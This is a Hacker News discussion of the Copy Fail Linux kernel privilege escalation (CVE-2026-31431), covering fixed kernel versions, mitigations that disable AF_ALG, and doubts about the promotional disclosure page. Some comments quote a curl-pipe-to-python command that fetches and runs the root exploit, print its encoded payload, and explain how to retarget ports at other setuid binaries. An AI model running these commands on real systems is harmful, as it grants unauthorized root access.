Copy Fail

<- Back

Copy Fail

unsnap_biceps

Comments (333)

ebiggers
As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt).The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
xeeeeeeeeeeenu
It seems there was some kind of confusion during the disclosure process, because the vendors aren't treating this vulnerability as serious and it remains unpatched in many distros.https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"https://security-tracker.debian.org/tracker/CVE-2026-31431 https://ubuntu.com/security/CVE-2026-31431 https://www.suse.com/security/cve/CVE-2026-31431.html
jeffwass
This submission is currently the main HN submission.As of now the submission title is simply “Copy Fail”.Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
arcfour
It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod...I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says: ...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8 ...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237 ...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 Hope that helps.
nh2
If you want to use the suggested mitigation (disabling kernel module `algif_aead` with a modprobe config), and you do not want to run that whole obfuscated shell code to get an actual root shell, but only check if the module can be loaded, here is a readable version of its first few lines: python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")' Similarly, when the mitigation is in place, modprobe algif_aead should fail with an error.
hackernudes
LPE = local privilege escalationToo many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
jesse_dot_id
Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.
m3nu
I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module.So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
phreack
The page itself seems vibecoded and a bit of an advertisement, but it does look like the vulnerability is real and high risk. It does explain the big security update I just got, guess I'll prioritize updating today.
embedding-shape
For mitigation, the page currently basically just says:> Update your distribution's kernel package to one that includes mainline commit a664bf3d603dBut it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
progval
So this replaces a SUID binary, in order to run as PID 0. The website claims it can escape "Kubernetes / container clusters" and "CI runners & build farms" but I don't see anything supporting the claim it can escape a container (or specifically, a user namespace).I ran the exploit in rootless Podman, and predictably it doesn't escape the container.They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
archon810
curl https://copy.fail/exp | python3 && su Traceback (most recent call last): File "<stdin>", line 9, in <module> File "<stdin>", line 5, in c AttributeError: module 'os' has no attribute 'splice' Does this mean I'm not affected or it's a buggy script?Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
giis
As soon as I read this>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes rootjumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.Then I tested with local laptop with it:```$ uname -aLinux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux$ python3 copy_fail_exp.py# cd /root && lsbluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap```It does provide the root access!
not_your_vase
Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice
rkeene2
I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).[0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm
tjbecker
For this crowd, I highly suggest checking out the technical writeuphttps://xint.io/blog/copy-fail-linux-distributions
rkeene2
Interestingly it fails for me because my `su` isn't world-readable: $ stat /bin/su File: /bin/su Size: 59552 Blocks: 118 IO Block: 59904 regular file Device: 0,52 Inode: 796854 Links: 1 Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2023-09-18 13:23:03.117105665 -0500 Modify: 2021-02-13 05:15:56.000000000 -0600 Change: 2023-09-18 13:23:03.119105665 -0500 Birth: 2023-09-18 13:23:03.117105665 -0500 I'm not sure I have any setuid/setgid binaries that are world-readable...
dgellow
That’s the most AI-written page ever made
skilled
This looks like an extraordinary find at first glance.Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
bblb
What is "RHEL 14.3"? Was this site a one shot prompt. Quality.
layer8
Debian page: https://security-tracker.debian.org/tracker/CVE-2026-31431
jzb
This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.
corvad
If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
commandersaki
Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days.Got: OSError: [Errno 97] Address family not supported by protocol I guess AF_ALG is not part of the Arch Linux LTS kernel?Edit:Looks like on Arch you have to go out of your way to have this enabled. $ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API CONFIG_CRYPTO_USER_API=m CONFIG_CRYPTO_USER_API_HASH=m CONFIG_CRYPTO_USER_API_SKCIPHER=m CONFIG_CRYPTO_USER_API_RNG=m # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set CONFIG_CRYPTO_USER_API_AEAD=m # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set $ uname -r 6.12.63-1-lts
rany_
Could this be used to root Android devices? Does Android ship with algif_aead?
SeriousM
I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn't a thing these days and everything was done with lcx containers, if at all.
smlacy
The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.Looking at their source code [1] it starts with this simple line:import os as g,zlib,socket as sAnd already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.Anyway, I could go on. :) Let's just stop fetishizing byte count[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
Lorin
What is the rationale behind naming CVEs and individual domains? Marketing?
tgies
The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c
q3k
Quickly dove into this.1. Yes, it's real.2. Current chain can write any arbitrary content to any user-readable file (into the page cache).3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).5. The authors say they have other chains (including ones that allow container escapes). I believe them.6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
w2seraph
holy smokes it just rooted my just installed from ISO Ubuntu server
mikeweiss
Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......https://github.com/bottlerocket-os/bottlerocket/security/adv...
WhyNotHugo
> Any setuid-root binary readable by the user works.Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
porridgeraisin
Better explanation of the write up (still from original exploit author) : https://xint.io/blog/copy-fail-linux-distributions
erans
For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.
deep2secure
I checked it. Very nice efforts made to create it
rtpg
Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh
chasil
On the downside, I need to push new kernels to all my servers.On this bright side, does this mean Magisk is coming to all unpatched Android phones?
fsflover
As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization.Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
aniou
Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.
Ekaros
So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.
krunck
Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too. I updated the VM thinking it would be fixed afterward. Nope.
kayson
s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?
chvish
Are kernel crypto modules even loaded by default on enterprise distros
nromiun
I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
firesteelrain
RHEL is listing this as fix deferred for RHEL 8 and 9.
zdimension
Works on all my servers. This is terrifying.
DannyBee
I love how it says "Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets /usr/bin/su by default; pass another setuid binary as argv[1]."Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.I can't get it to work on any distro i've tried.
dist-epoch
> Will you release the full PoC?> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.There is no update available for Ubuntu 24, PoC works and just tried updating.
jchw
I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r: $ ls -lah /run/wrappers/bin/su -r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
DetroitThrow
Despite the copy/images being weird about RHEL 14.3, this seems to work. Wow?
TZubiri
It looks like this is legit, but the script is very phishy and I wouldn't run it in unvirtualized or disposable systems.https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)That said, I understand why a terser script might have been prioritized.EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
charcircuit
SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can't keep ignoring.
themafia
> If your kernel was built between 2017 and the patchThis is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.> block AF_ALG socket creation via seccomp regardless of patch state.Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
maxtaco
Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)
nickcw
[dead]
FlyThruTheSun
[dead]
anon
undefined
oncallthrow
[flagged]
baggy_trough
Is this fixed in any stable release kernel yet?
pkoiralap
Does anyone have a workaround for it? Edit: I don't understand why the comment would be downvoted.
TehCorwiz
It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error:Password: su: Authentication token manipulation errorI'm guessing this means it's already patched?
eaf7e281
I'm impressed that such a serious problem popped up out of nowhere.In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
pixel_popping
Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?